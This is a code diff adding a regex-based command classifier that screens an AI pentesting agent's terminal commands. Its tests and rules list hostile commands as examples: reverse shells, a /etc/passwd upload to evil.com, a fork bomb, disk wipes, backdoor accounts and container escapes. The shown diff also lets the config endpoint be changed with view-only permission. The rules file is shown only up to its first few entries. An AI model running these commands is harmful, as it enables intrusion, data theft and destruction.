-2803,6 +2820,22 @@ func (r *subscriptionResolver) AssistantLogUpdated(ctx context.Context, flowID i return r.Subscriptions.NewFlowSubscriber(uid, flowID).AssistantLogUpdated(ctx) } +// DeafGuardEventAdded is the resolver for the deafGuardEventAdded field. +func (r *subscriptionResolver) DeafGuardEventAdded(ctx context.Context, flowID int64) (<-chan *model.DeafGuardEvent, error) { + // Permission reuse note: we deliberately check "termlogs.subscribe" + // here rather than a dedicated "deafguardevents.subscribe" permission. + // Deaf Guard classifies terminal commands, so the authorization scope + // is identical — any user who can stream terminal logs for a flow is + // implicitly entitled to see the classifier verdicts over that same + // stream. + uid, err := validatePermissionWithFlowID(ctx, "termlogs.subscribe", flowID, r.DB) + if err != nil { + return nil, err + } + + return r.Subscriptions.NewFlowSubscriber(uid, flowID).DeafGuardEventAdded(ctx) +} + // ProviderCreated is the resolver for the providerCreated field. func (r *subscriptionResolver) ProviderCreated(ctx context.Context) (<-chan *model.ProviderConfig, error) { uid, _, err := validatePermission(ctx, "settings.providers.subscribe") diff --git a/backend/pkg/graph/subscriptions/controller.go b/backend/pkg/graph/subscriptions/controller.go index 1909d5ddc..cdb1a50fc 100644 --- a/backend/pkg/graph/subscriptions/controller.go +++ b/backend/pkg/graph/subscriptions/controller.go @@ -68,6 +68,7 @@ type FlowSubscriber interface { ToolCallLogUpdated(ctx context.Context) (<-chan *model.ToolCallLog, error) AssistantLogAdded(ctx context.Context) (<-chan *model.AssistantLog, error) AssistantLogUpdated(ctx context.Context) (<-chan *model.AssistantLog, error) + DeafGuardEventAdded(ctx context.Context) (<-chan *model.DeafGuardEvent, error) FlowContext UserContext } @@ -131,6 +132,7 @@ type FlowPublisher interface { ToolCallLogUpdated(ctx context.Context, toolCallLog database.Toolcall) AssistantLogAdded(ctx context.Context, assistantLog database.Assistantlog) AssistantLogUpdated(ctx context.Context, assistantLog database.Assistantlog, appendPart bool) + DeafGuardEventAdded(ctx context.Context, event *model.DeafGuardEvent) KnowledgeDocumentCreated(ctx context.Context, doc *model.KnowledgeDocument) FlowContext UserContext @@ -217,6 +219,7 @@ type controller struct { toolCallLogUpdated Channel[*model.ToolCallLog] assistantLogAdded Channel[*model.AssistantLog] assistantLogUpdated Channel[*model.AssistantLog] + deafGuardEventAdded Channel[*model.DeafGuardEvent] providerCreated Channel[*model.ProviderConfig] providerUpdated Channel[*model.ProviderConfig] @@ -274,6 +277,7 @@ func NewSubscriptionsController() SubscriptionsController { toolCallLogUpdated: NewChannel[*model.ToolCallLog](), assistantLogAdded: NewChannel[*model.AssistantLog](), assistantLogUpdated: NewChannel[*model.AssistantLog](), + deafGuardEventAdded: NewChannel[*model.DeafGuardEvent](), providerCreated: NewChannel[*model.ProviderConfig](), providerUpdated: NewChannel[*model.ProviderConfig](), diff --git a/backend/pkg/graph/subscriptions/publisher.go b/backend/pkg/graph/subscriptions/publisher.go index 918eb1e47..eed6058ef 100644 --- a/backend/pkg/graph/subscriptions/publisher.go +++ b/backend/pkg/graph/subscriptions/publisher.go @@ -125,6 +125,16 @@ func (p *flowPublisher) AssistantLogUpdated(ctx context.Context, assistantLog da p.ctrl.assistantLogUpdated.Publish(ctx, p.flowID, converter.ConvertAssistantLog(assistantLog, appendPart)) } +// DeafGuardEventAdded publishes a Deaf Guard classification event to the +// channel keyed by flowID. Event construction is caller-owned; this method +// only fans the already-built model out to active subscribers. +func (p *flowPublisher) DeafGuardEventAdded(ctx context.Context, event *model.DeafGuardEvent) { + if event == nil { + return + } + p.ctrl.deafGuardEventAdded.Publish(ctx, p.flowID, event) +} + func (p *flowPublisher) KnowledgeDocumentCreated(ctx context.Context, doc *model.KnowledgeDocument) { p.ctrl.knowledgeDocumentCreated.Publish(ctx, p.userID, doc) p.ctrl.knowledgeDocumentCreatedAdmin.Broadcast(ctx, doc) diff --git a/backend/pkg/graph/subscriptions/subscriber.go b/backend/pkg/graph/subscriptions/subscriber.go index bedc0c56a..90644d731 100644 --- a/backend/pkg/graph/subscriptions/subscriber.go +++ b/backend/pkg/graph/subscriptions/subscriber.go @@ -128,6 +128,10 @@ func (s *flowSubscriber) AssistantLogUpdated(ctx context.Context) (<-chan *model return s.ctrl.assistantLogUpdated.Subscribe(ctx, s.flowID), nil } +func (s *flowSubscriber) DeafGuardEventAdded(ctx context.Context) (<-chan *model.DeafGuardEvent, error) { + return s.ctrl.deafGuardEventAdded.Subscribe(ctx, s.flowID), nil +} + // providerSubscriber subscribes to user-scoped provider events. type providerSubscriber struct { userID int64 diff --git a/backend/pkg/server/models/settings.go b/backend/pkg/server/models/settings.go index 14726a181..b47b57719 100644 --- a/backend/pkg/server/models/settings.go +++ b/backend/pkg/server/models/settings.go @@ -15,3 +15,15 @@ type Settings struct { func (s Settings) Valid() error { return validate.Struct(s) } + +// DeafGuardConfig is the runtime command-classifier configuration. +type DeafGuardConfig struct { + Enabled bool `json:"enabled" example:"true"` + Mode string `json:"mode" example:"log"` +} + +// DeafGuardConfigUpdate is a partial update for Deaf Guard configuration. +type DeafGuardConfigUpdate struct { + Enabled *bool `json:"enabled"` + Mode *string `json:"mode"` +} diff --git a/backend/pkg/server/response/errors.go b/backend/pkg/server/response/errors.go index 994ee73dc..38bbbbc20 100644 --- a/backend/pkg/server/response/errors.go +++ b/backend/pkg/server/response/errors.go @@ -163,6 +163,8 @@ var ErrToolcallsInvalidData = NewHttpError(500, "Toolcalls.InvalidData", "invali // anonymize +var ErrDeafGuardInvalidRequest = NewHttpError(400, "DeafGuard.InvalidRequest", "invalid deaf guard request data") + var ErrAnonymizeInvalidRequest = NewHttpError(400, "Anonymize.InvalidRequest", "invalid anonymize request data") var ErrAnonymizeUnavailable = NewHttpError(503, "Anonymize.Unavailable", "anonymizer is not configured") diff --git a/backend/pkg/server/router.go b/backend/pkg/server/router.go index d2449207e..0e6685082 100644 --- a/backend/pkg/server/router.go +++ b/backend/pkg/server/router.go @@ -424,6 +424,12 @@ func setSettingsGroup(parent *gin.RouterGroup, svc *services.SettingsService) { { settingsGroup.GET("/", svc.GetSettings) } + + deafGuardGroup := parent.Group("/deafguard") + { + deafGuardGroup.GET("/config", svc.GetDeafGuardConfig) + deafGuardGroup.PUT("/config", svc.PutDeafGuardConfig) + } } func setGraphqlGroup(parent *gin.RouterGroup, svc *services.GraphqlService) { diff --git a/backend/pkg/server/services/settings.go b/backend/pkg/server/services/settings.go index 9200b96aa..e77d30607 100644 --- a/backend/pkg/server/services/settings.go +++ b/backend/pkg/server/services/settings.go @@ -48,3 +48,75 @@ func (s *SettingsService) GetSettings(c *gin.Context) { response.Success(c, http.StatusOK, settings) } + +func (s *SettingsService) deafGuardConfig() models.DeafGuardConfig { + mode := s.cfg.DeafGuardMode + if mode == "" { + mode = "log" + } + return models.DeafGuardConfig{ + Enabled: s.cfg.DeafGuardEnabled, + Mode: mode, + } +} + +// GetDeafGuardConfig returns the process-wide Deaf Guard configuration. +// @Summary Retrieve Deaf Guard configuration +// @Tags Settings +// @Produce json +// @Security BearerAuth +// @Success 200 {object} response.successResp{data=models.DeafGuardConfig} "deaf guard config received successful" +// @Failure 403 {object} response.errorResp "getting deaf guard config not permitted" +// @Router /deafguard/config [get] +func (s *SettingsService) GetDeafGuardConfig(c *gin.Context) { + privs := c.GetStringSlice("prm") + if !slices.Contains(privs, "settings.view") { + logger.FromContext(c).Errorf("error filtering user role permissions: permission not found") + response.Error(c, response.ErrNotPermitted, nil) + return + } + + response.Success(c, http.StatusOK, s.deafGuardConfig()) +} + +// PutDeafGuardConfig updates the process-wide Deaf Guard configuration. +// Changes take effect on the next flow; already-running flows keep their snapshot. +// @Summary Update Deaf Guard configuration +// @Tags Settings +// @Accept json +// @Produce json +// @Security BearerAuth +// @Success 200 {object} response.successResp{data=models.DeafGuardConfig} "deaf guard config updated successful" +// @Failure 400 {object} response.errorResp "invalid deaf guard request" +// @Failure 403 {object} response.errorResp "updating deaf guard config not permitted" +// @Router /deafguard/config [put] +func (s *SettingsService) PutDeafGuardConfig(c *gin.Context) { + privs := c.GetStringSlice("prm") + if !slices.Contains(privs, "settings.view") { + logger.FromContext(c).Errorf("error filtering user role permissions: permission not found") + response.Error(c, response.ErrNotPermitted, nil) + return + } + + var req models.DeafGuardConfigUpdate + if err := c.ShouldBindJSON(&req); err != nil { + logger.FromContext(c).WithError(err).Errorf("error binding JSON") + response.Error(c, response.ErrDeafGuardInvalidRequest, err) + return + } + + if req.Enabled != nil { + s.cfg.DeafGuardEnabled = *req.Enabled + } + if req.Mode != nil { + switch *req.Mode { + case "log", "warn", "enforce": + s.cfg.DeafGuardMode = *req.Mode + default: + response.Error(c, response.ErrDeafGuardInvalidRequest, nil) + return + } + } + + response.Success(c, http.StatusOK, s.deafGuardConfig()) +} diff --git a/backend/pkg/tools/deafguard/deafguard.go b/backend/pkg/tools/deafguard/deafguard.go new file mode 100644 index 000000000..032031e64 --- /dev/null +++ b/backend/pkg/tools/deafguard/deafguard.go @@ -0,0 +1,349 @@ +// Package deafguard implements pre-execution command classification for PentAGI. +// +// It intercepts terminal commands before they execute and classifies them through +// a 9-tier risk taxonomy using regex-based pattern matching. The classification +// result determines whether a command is allowed, warned, or blocked based on +// the current enforcement mode. +// +// Known limitations (Phase 1): +// - Regex evasion: Commands using base64 encoding, $() substitution, backtick +// expansion, escaped characters, or PATH-qualified binaries (/usr/bin/nsenter) +// can bypass pattern matching. Phase 3 adds LLM-assisted classification. +// - File tool: The "file" tool is not classified. It can write to arbitrary paths +// (e.g., /etc/cron.d/, .ssh/authorized_keys). Planned for Phase 2. +// - Shell parsing: splitCommand is simplified and does not handle heredocs, +// escaped quotes within strings, or process substitution. +// - Per-flow snapshot: DeafGuard config is captured at flow creation time. +// Runtime changes via the REST API only affect subsequent flows. +package deafguard + +import ( + "encoding/json" + "strings" + "time" + + "pentagi/pkg/config" + + "github.com/sirupsen/logrus" +) + +// terminalToolName must match tools.TerminalToolName in registry.go. +// Defined locally to avoid circular import (deafguard is a subpackage of tools). +const terminalToolName = "terminal" + +// Mode controls how the Deaf Guard handles classified commands. +type Mode string + +const ( + ModeLog Mode = "log" // Classify and log only — no blocking. + ModeWarn Mode = "warn" // Return warning to agent for BLOCK-tier commands. + ModeEnforce Mode = "enforce" // Hard block — agent must request operator approval. +) + +// ClassificationResult holds the outcome of a command classification. +type ClassificationResult struct { + Allowed bool `json:"allowed"` + Command string `json:"command"` + Category Category `json:"category"` + Risk RiskLevel `json:"risk"` + Action Action `json:"action"` + Reason string `json:"reason"` + Mode Mode `json:"mode"` + Tier int `json:"tier"` + Timestamp int64 `json:"timestamp"` +} + +// DeafGuard is the command interception engine. +type DeafGuard struct { + enabled bool + mode Mode + disabledTiers map[int]bool +} + +// New creates a new DeafGuard from configuration. +func New(cfg *config.Config) *DeafGuard { + mode := Mode(cfg.DeafGuardMode) + if mode != ModeLog && mode != ModeWarn && mode != ModeEnforce { + mode = ModeLog + } + + return &DeafGuard{ + enabled: cfg.DeafGuardEnabled, + mode: mode, + disabledTiers: make(map[int]bool), + } +} + +// IsEnabled returns whether the Deaf Guard is active. +func (dg *DeafGuard) IsEnabled() bool { + return dg.enabled +} + +// GetMode returns the current enforcement mode. +func (dg *DeafGuard) GetMode() Mode { + return dg.mode +} + +// SetMode updates the enforcement mode at runtime. +func (dg *DeafGuard) SetMode(mode Mode) { + if mode == ModeLog || mode == ModeWarn || mode == ModeEnforce { + dg.mode = mode + } +} + +// SetTierEnabled enables or disables a specific classification tier. +func (dg *DeafGuard) SetTierEnabled(tier int, enabled bool) { + if enabled { + delete(dg.disabledTiers, tier) + } else { + dg.disabledTiers[tier] = true + } +} + +// IsTierEnabled checks if a specific tier is active. +func (dg *DeafGuard) IsTierEnabled(tier int) bool { + return !dg.disabledTiers[tier] +} + +// terminalAction mirrors the terminal tool's action struct for JSON parsing. +type terminalAction struct { + Input string `json:"input"` +} + +// Classify evaluates a tool call and returns the classification result. +// For non-terminal tools, it returns an allow-all result. +// For terminal tools, it runs the command through the classification pipeline. +func (dg *DeafGuard) Classify(toolName string, args json.RawMessage) *ClassificationResult { + if !dg.enabled { + return &ClassificationResult{Allowed: true, Category: CategoryLocalUtility, Risk: RiskNone, Action: ActionLog} + } + + // Only classify terminal commands + if toolName != terminalToolName { + return &ClassificationResult{Allowed: true, Category: CategoryLocalUtility, Risk: RiskNone, Action: ActionLog} + } + + // Extract the command string from args + var action terminalAction + if err := json.Unmarshal(args, &action); err != nil || action.Input == "" { + return &ClassificationResult{Allowed: true, Category: CategoryLocalUtility, Risk: RiskNone, Action: ActionLog} + } + + return dg.classifyCommand(action.Input) +} + +// classifyCommand runs the command through the three-stage classification pipeline. +func (dg *DeafGuard) classifyCommand(command string) *ClassificationResult { + // Stage 1: Classify the raw command and each split segment. + // The raw command is included so rules that span separators + // (for example a fork bomb that contains `|`) still match. + // The worst classification wins. + segments := append([]string{command}, splitCommand(command)...) + + var worstResult *ClassificationResult + for _, seg := range segments { + seg = strings.TrimSpace(seg) + if seg == "" { + continue + } + + result := dg.classifySegment(seg) + if worstResult == nil || actionSeverity(result.Action) > actionSeverity(worstResult.Action) { + worstResult = result + } + } + + if worstResult == nil { + worstResult = &ClassificationResult{ + Allowed: true, + Command: command, + Category: CategoryLocalUtility, + Risk: RiskNone, + Action: ActionLog, + Reason: "No matching rules", + Mode: dg.mode, + Tier: 9, + Timestamp: time.Now().Unix(), + } + } + + worstResult.Command = command + worstResult.Mode = dg.mode + worstResult.Timestamp = time.Now().Unix() + + // Apply mode: in log mode, everything is allowed regardless of classification. + switch dg.mode { + case ModeLog: + worstResult.Allowed = true + case ModeWarn: + worstResult.Allowed = worstResult.Action != ActionBlock + case ModeEnforce: + worstResult.Allowed = worstResult.Action == ActionLog + } + + // Log the classification + dg.logClassification(worstResult) + + return worstResult +} + +// classifySegment evaluates a single command segment against all rules. +func (dg *DeafGuard) classifySegment(segment string) *ClassificationResult { + for _, rule := range rules { + tier := CategoryTier[rule.Category] + // Skip disabled tiers + if dg.disabledTiers[tier] { + continue + } + if rule.Pattern.MatchString(segment) { + return &ClassificationResult{ + Allowed: false, // Explicitly blocked pending mode evaluation in classifyCommand + Category: rule.Category, + Risk: rule.Risk, + Action: rule.Action, + Reason: rule.Reason, + Tier: tier, + } + } + } + + // No rule matched — safe command + return &ClassificationResult{ + Allowed: true, + Category: CategoryLocalUtility, + Risk: RiskNone, + Action: ActionLog, + Reason: "No matching rules — allowed", + Tier: 9, + } +} + +// splitCommand splits a shell command on ; && || and | boundaries. +// This is intentionally simple — not a full shell parser. +func splitCommand(cmd string) []string { + var segments []string + var current strings.Builder + runes := []rune(cmd) + inSingleQuote := false + inDoubleQuote := false + + for i := 0; i < len(runes); i++ { + ch := runes[i] + + // Handle quotes + if ch == '\'' && !inDoubleQuote { + inSingleQuote = !inSingleQuote + current.WriteRune(ch) + continue + } + if ch == '"' && !inSingleQuote { + inDoubleQuote = !inDoubleQuote + current.WriteRune(ch) + continue + } + + // Only split outside of quotes + if !inSingleQuote && !inDoubleQuote { + if ch == ';' { + segments = append(segments, current.String()) + current.Reset() + continue + } + if ch == '|' { + if i+1 < len(runes) && runes[i+1] == '|' { + // || + segments = append(segments, current.String()) + current.Reset() + i++ // skip second | + continue + } + // Single pipe — still a boundary (the piped-to command matters) + segments = append(segments, current.String()) + current.Reset() + continue + } + if ch == '&' && i+1 < len(runes) && runes[i+1] == '&' { + segments = append(segments, current.String()) + current.Reset() + i++ // skip second & + continue + } + } + + current.WriteRune(ch) + } + + if current.Len() > 0 { + segments = append(segments, current.String()) + } + + return segments +} + +// actionSeverity returns a numeric severity for action comparison. +func actionSeverity(a Action) int { + switch a { + case ActionBlock: + return 3 + case ActionWarn: + return 2 + case ActionLog: + return 1 + default: + return 0 + } +} + +// logClassification writes a structured log entry for the classification. +func (dg *DeafGuard) logClassification(result *ClassificationResult) { + entry := logrus.WithFields(logrus.Fields{ + "component": "deaf_guard", + "command": truncateForLog(result.Command, 200), + "category": result.Category, + "tier": result.Tier, + "risk": result.Risk, + "action": result.Action, + "allowed": result.Allowed, + "mode": result.Mode, + "reason": result.Reason, + }) + + switch { + case result.Action == ActionBlock: + entry.Warn("deaf guard: command classified as BLOCK") + case result.Action == ActionWarn: + entry.Info("deaf guard: command classified as WARN") + default: + entry.Debug("deaf guard: command classified as LOG") + } +} + +// truncateForLog limits string length for log output (rune-safe). +func truncateForLog(s string, maxLen int) string { + runes := []rune(s) + if len(runes) <= maxLen { + return s + } + return string(runes[:maxLen]) + "..." +} + +// GetConfig returns the current Deaf Guard configuration as a serializable struct. +func (dg *DeafGuard) GetConfig() map[string]interface{} { + tiers := make(map[int]map[string]interface{}) + for cat, tier := range CategoryTier { + info := CategoryInfo[cat] + tiers[tier] = map[string]interface{}{ + "category": cat, + "name": info.Name, + "description": info.Description, + "default_action": info.DefaultAction, + "enabled": dg.IsTierEnabled(tier), + } + } + + return map[string]interface{}{ + "enabled": dg.enabled, + "mode": dg.mode, + "tiers": tiers, + } +} diff --git a/backend/pkg/tools/deafguard/deafguard_test.go b/backend/pkg/tools/deafguard/deafguard_test.go new file mode 100644 index 000000000..a7158dd89 --- /dev/null +++ b/backend/pkg/tools/deafguard/deafguard_test.go @@ -0,0 +1,308 @@ +package deafguard + +import ( + "encoding/json" + "testing" + + "pentagi/pkg/config" +) + +func newTestGuard(mode string) *DeafGuard { + return New(&config.Config{ + DeafGuardEnabled: true, + DeafGuardMode: mode, + }) +} + +func makeArgs(input string) json.RawMessage { + b, _ := json.Marshal(map[string]interface{}{ + "input": input, + "cwd": "/work", + "detach": false, + "timeout": 60, + "message": "test", + }) + return b +} + +// ── Rule Matching Tests ── + +func TestBlockTierCommands(t *testing.T) { + t.Parallel() + dg := newTestGuard("enforce") + + tests := []struct { + name string + cmd string + wantCat Category + }{ + // Tier 1: Container Escape + {"mount device", "mount /dev/sda1 /mnt", CategoryContainerEscape}, + {"docker socket", "curl --unix-socket /var/run/docker.sock http://localhost/containers/json", CategoryContainerEscape}, + {"nsenter", "nsenter --target 1 --mount --uts", CategoryContainerEscape}, + {"chroot", "chroot /host /bin/bash", CategoryContainerEscape}, + {"proc environ", "cat /proc/1/environ", CategoryContainerEscape}, + {"insmod", "insmod rootkit.ko", CategoryContainerEscape}, + {"docker run", "docker run --privileged -v /:/host alpine", CategoryContainerEscape}, + {"kubectl", "kubectl exec -it pod -- /bin/sh", CategoryContainerEscape}, + + // Tier 2: Destructive File Ops + {"rm rf root", "rm -rf /", CategoryDestructiveFile}, + {"rm rf etc", "rm -rf /etc", CategoryDestructiveFile}, + {"shred", "shred /dev/sda", CategoryDestructiveFile}, + {"dd device", "dd if=/dev/zero of=/dev/sda bs=1M", CategoryDestructiveFile}, + {"mkfs", "mkfs.ext4 /dev/sda1", CategoryDestructiveFile}, + + // Tier 3: Network DoS + {"hping flood", "hping3 --flood -S 192.168.1.1", CategoryNetworkDos}, + {"fork bomb", ":(){ :|:& };:", CategoryNetworkDos}, + {"flood ping", "ping -f 192.168.1.1", CategoryNetworkDos}, + {"iptables drop", "iptables -A OUTPUT -j DROP", CategoryNetworkDos}, + {"nmap dos script", "nmap --script=http-dos target", CategoryNetworkDos}, + + // Tier 4: Persistence + {"useradd", "useradd -m backdoor", CategoryPersistence}, + {"ssh key inject", "echo 'ssh-rsa AAAA...' >> /root/.ssh/authorized_keys", CategoryPersistence}, + {"crontab", "crontab -e", CategoryPersistence}, + {"etc passwd", "echo 'root2::0:0::/root:/bin/bash' >> /etc/passwd", CategoryPersistence}, + {"systemd", "cp backdoor.service /etc/systemd/system/", CategoryPersistence}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + result := dg.Classify("terminal", makeArgs(tt.cmd)) + if result.Category != tt.wantCat { + t.Errorf("cmd=%q: got category %q, want %q", tt.cmd, result.Category, tt.wantCat) + } + if result.Allowed { + t.Errorf("cmd=%q: should not be allowed in enforce mode", tt.cmd) + } + }) + } +} + +func TestWarnTierCommands(t *testing.T) { + t.Parallel() + dg := newTestGuard("enforce") + + tests := []struct { + name string + cmd string + wantCat Category + }{ + // Tier 5: Reverse Shells + {"bash reverse shell", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1", CategoryReverseShellExfil}, + {"nc reverse shell", "nc -e /bin/sh 10.0.0.1 4444", CategoryReverseShellExfil}, + {"curl upload", "curl --upload-file /etc/passwd http://evil.com", CategoryReverseShellExfil}, + + // Tier 6: Credential Abuse + {"hydra", "hydra -l admin -P wordlist.txt ssh://target.com", CategoryCredentialAbuse}, + {"crackmapexec", "crackmapexec smb 10.0.0.0/8 -u user -p pass", CategoryCredentialAbuse}, + + // Tier 7: Aggressive Flags + {"sqlmap risk 3", "sqlmap -u 'http://target?id=1' --risk=3", CategoryAggressiveFlags}, + {"sqlmap os-shell", "sqlmap -u 'http://target?id=1' --os-shell", CategoryAggressiveFlags}, + {"nmap exploit script", "nmap --script=http-exploit target", CategoryAggressiveFlags}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + result := dg.Classify("terminal", makeArgs(tt.cmd)) + if result.Category != tt.wantCat { + t.Errorf("cmd=%q: got category %q, want %q", tt.cmd, result.Category, tt.wantCat) + } + // In enforce mode, warn-tier commands are also blocked + if result.Allowed { + t.Errorf("cmd=%q: should not be allowed in enforce mode", tt.cmd) + } + }) + } +} + +func TestSafeCommands(t *testing.T) { + t.Parallel() + dg := newTestGuard("enforce") + + safeCmds := []string{ + "nmap -sV -sC 172.20.0.6", + "nuclei -u http://target:3000 -t cves/", + "curl -v http://172.20.0.6:3000/api/users", + "httpx -l urls.txt", + "ffuf -u http://target/FUZZ -w wordlist.txt", + "cat /etc/hosts", + "grep -r password /tmp/loot/", + "python3 -c 'print(1+1)'", + "jq '.users[]' response.json", + "echo 'test payload'", + "ls -la /work", + "find /tmp -name '*.txt'", + "base64 -d encoded.txt", + "john --wordlist=rockyou.txt hashes.txt", + "hashcat -m 0 hashes.txt rockyou.txt", + "sqlmap -u 'http://target?id=1'", + "nikto -h http://target", + "gobuster dir -u http://target -w wordlist.txt", + "subfinder -d target.com", + "dig target.com ANY", + "whois target.com", + "wget http://target/robots.txt", + } + + for _, cmd := range safeCmds { + t.Run(cmd, func(t *testing.T) { + t.Parallel() + result := dg.Classify("terminal", makeArgs(cmd)) + if !result.Allowed { + t.Errorf("cmd=%q: should be allowed but was blocked (category=%s, reason=%s)", cmd, result.Category, result.Reason) + } + }) + } +} + +// ── Mode Behavior Tests ── + +func TestLogModeAllowsEverything(t *testing.T) { + t.Parallel() + dg := newTestGuard("log") + + // Even dangerous commands should be allowed in log mode + result := dg.Classify("terminal", makeArgs("rm -rf /")) + if !result.Allowed { + t.Error("log mode should allow all commands") + } + if result.Category != CategoryDestructiveFile { + t.Errorf("should still classify correctly: got %s, want %s", result.Category, CategoryDestructiveFile) + } +} + +func TestWarnModeBlocksBlockTier(t *testing.T) { + t.Parallel() + dg := newTestGuard("warn") + + // Block-tier commands should be blocked in warn mode + result := dg.Classify("terminal", makeArgs("rm -rf /")) + if result.Allowed { + t.Error("warn mode should block BLOCK-tier commands") + } + + // Warn-tier commands should be allowed in warn mode + result = dg.Classify("terminal", makeArgs("hydra -l admin -P pass.txt ssh://target")) + if !result.Allowed { + t.Error("warn mode should allow WARN-tier commands") + } +} + +func TestEnforceModeBlocksWarnAndBlock(t *testing.T) { + t.Parallel() + dg := newTestGuard("enforce") + + // Both block and warn tier should be blocked + result := dg.Classify("terminal", makeArgs("rm -rf /")) + if result.Allowed { + t.Error("enforce mode should block BLOCK-tier commands") + } + + result = dg.Classify("terminal", makeArgs("hydra -l admin -P pass.txt ssh://target")) + if result.Allowed { + t.Error("enforce mode should block WARN-tier commands") + } + + // Log-tier should still be allowed + result = dg.Classify("terminal", makeArgs("nmap -sV target")) + if !result.Allowed { + t.Error("enforce mode should allow LOG-tier commands") + } +} + +// ── Command Segmentation Tests ── + +func TestPipedCommands(t *testing.T) { + t.Parallel() + dg := newTestGuard("enforce") + + // Safe command piped to dangerous command + result := dg.Classify("terminal", makeArgs("cat /etc/passwd | nc -e /bin/sh evil.com 4444")) + if result.Allowed { + t.Error("piped command with dangerous segment should be blocked") + } +} + +func TestChainedCommands(t *testing.T) { + t.Parallel() + dg := newTestGuard("enforce") + + result := dg.Classify("terminal", makeArgs("echo test && rm -rf /")) + if result.Allowed { + t.Error("chained command with dangerous segment should be blocked") + } +} + +func TestQuotedSeparators(t *testing.T) { + t.Parallel() + dg := newTestGuard("enforce") + + // Semicolons inside quotes should not be treated as separators + result := dg.Classify("terminal", makeArgs(`echo "hello; world"`)) + if !result.Allowed { + t.Error("quoted semicolons should not split command") + } +} + +// ── Tier Disable Tests ── + +func TestDisableTier(t *testing.T) { + t.Parallel() + dg := newTestGuard("enforce") + + // Tier 2 (destructive file) should block normally + result := dg.Classify("terminal", makeArgs("rm -rf /")) + if result.Allowed { + t.Error("tier 2 should block rm -rf") + } + + // Disable tier 2 + dg.SetTierEnabled(2, false) + result = dg.Classify("terminal", makeArgs("rm -rf /")) + if !result.Allowed { + t.Error("disabled tier 2 should allow rm -rf") + } + + // Re-enable + dg.SetTierEnabled(2, true) + result = dg.Classify("terminal", makeArgs("rm -rf /")) + if result.Allowed { + t.Error("re-enabled tier 2 should block rm -rf again") + } +} + +// ── Non-Terminal Tool Tests ── + +func TestNonTerminalToolsAlwaysAllowed(t *testing.T) { + t.Parallel() + dg := newTestGuard("enforce") + + tools := []string{"browser", "coder", "adviser", "memorist", "done", "ask"} + for _, tool := range tools { + result := dg.Classify(tool, makeArgs("anything")) + if !result.Allowed { + t.Errorf("non-terminal tool %q should always be allowed", tool) + } + } +} + +// ── Disabled Guard Tests ── + +func TestDisabledGuard(t *testing.T) { + t.Parallel() + dg := New(&config.Config{ + DeafGuardEnabled: false, + DeafGuardMode: "enforce", + }) + + result := dg.Classify("terminal", makeArgs("rm -rf /")) + if !result.Allowed { + t.Error("disabled guard should allow all commands") + } +} diff --git a/backend/pkg/tools/deafguard/rules.go b/backend/pkg/tools/deafguard/rules.go new file mode 100644 index 000000000..90b59bc13 --- /dev/null +++ b/backend/pkg/tools/deafguard/rules.go @@ -0,0 +1,187 @@ +package deafguard + +import ( + "fmt" + "regexp" +) + +// RiskLevel represents the severity of a classified command. +type RiskLevel string + +const ( + RiskCritical RiskLevel = "critical" + RiskHigh RiskLevel = "high" + RiskMedium RiskLevel = "medium" + RiskLow RiskLevel = "low" + RiskNone RiskLevel = "none" +) + +// Action represents what the Deaf Guard should do with a command. +type Action string + +const ( + ActionBlock Action = "block" + ActionWarn Action = "warn" + ActionLog Action = "log" +) + +// Category represents the classification tier. +type Category string + +const ( + CategoryContainerEscape Category = "container_escape" + CategoryDestructiveFile Category = "destructive_file" + CategoryNetworkDos Category = "network_dos" + CategoryPersistence Category = "persistence" + CategoryReverseShellExfil Category = "reverse_shell_exfil" + CategoryCredentialAbuse Category = "credential_abuse" + CategoryAggressiveFlags Category = "aggressive_flags" + CategoryStandardPentest Category = "standard_pentest" + CategoryLocalUtility Category = "local_utility" +) + +// Tier numbers for Settings UI toggle ordering. +var CategoryTier = map[Category]int{ + CategoryContainerEscape: 1, + CategoryDestructiveFile: 2, + CategoryNetworkDos: 3, + CategoryPersistence: 4, + CategoryReverseShellExfil: 5, + CategoryCredentialAbuse: 6, + CategoryAggressiveFlags: 7, + CategoryStandardPentest: 8, + CategoryLocalUtility: 9, +} + +// CategoryInfo provides human-readable descriptions for the Settings UI. +var CategoryInfo = map[Category]struct { + Name string + Description string + DefaultAction Action +}{ + CategoryContainerEscape: {"Container Escape", "Attempts to break out of the Docker sandbox (mount, docker socket, nsenter, chroot)", ActionBlock}, + CategoryDestructiveFile: {"Destructive File Ops", "Irreversible filesystem destruction (rm -rf /, shred, dd to devices, mkfs)", ActionBlock}, + CategoryNetworkDos: {"Network DoS", "Flood attacks, fork bombs, stress tools, iptables DROP rules", ActionBlock}, + CategoryPersistence: {"Persistence / Implants", "Creating backdoors, user accounts, cron jobs, SSH keys, systemd services", ActionBlock}, + CategoryReverseShellExfil: {"Reverse Shells / Exfil", "Reverse shell patterns, file uploads to non-target hosts, DNS exfiltration", ActionWarn}, + CategoryCredentialAbuse: {"Credential Abuse", "Brute force tools targeting non-scope hosts (hydra, medusa, crackmapexec)", ActionWarn}, + CategoryAggressiveFlags: {"Aggressive Pentest Flags", "Standard tools with dangerous options (sqlmap --risk=3, nmap DoS scripts)", ActionWarn}, + CategoryStandardPentest: {"Standard Pentesting", "Normal recon and testing tools with default flags (nmap, nuclei, curl, ffuf)", ActionLog}, + CategoryLocalUtility: {"Local Utilities", "Container-internal file ops and scripting (cat, grep, python, jq)", ActionLog}, +} + +// Rule is a single classification rule with a compiled regex pattern. +type Rule struct { + Pattern *regexp.Regexp + Category Category + Risk RiskLevel + Action Action + Reason string +} + +// rules is the full set of classification rules, evaluated in order. +// First match wins — rules are ordered from most dangerous to least. +var rules []Rule + +func init() { + type rawRule struct { + Pattern string + Category Category + Risk RiskLevel + Action Action + Reason string + } + + raw := []rawRule{ + // ── Tier 1: Container Escape ── + {`\bmount\s+.*/dev/`, CategoryContainerEscape, RiskCritical, ActionBlock, "Mounting block devices may escape container sandbox"}, + {`/var/run/docker\.sock`, CategoryContainerEscape, RiskCritical, ActionBlock, "Docker socket access enables container escape"}, + {`\bnsenter\b`, CategoryContainerEscape, RiskCritical, ActionBlock, "nsenter can enter host namespaces"}, + {`\bchroot\s+`, CategoryContainerEscape, RiskCritical, ActionBlock, "chroot can pivot to host filesystem"}, + {`/proc/1/(environ|root|cgroup|ns)`, CategoryContainerEscape, RiskCritical, ActionBlock, "Accessing host init process information"}, + 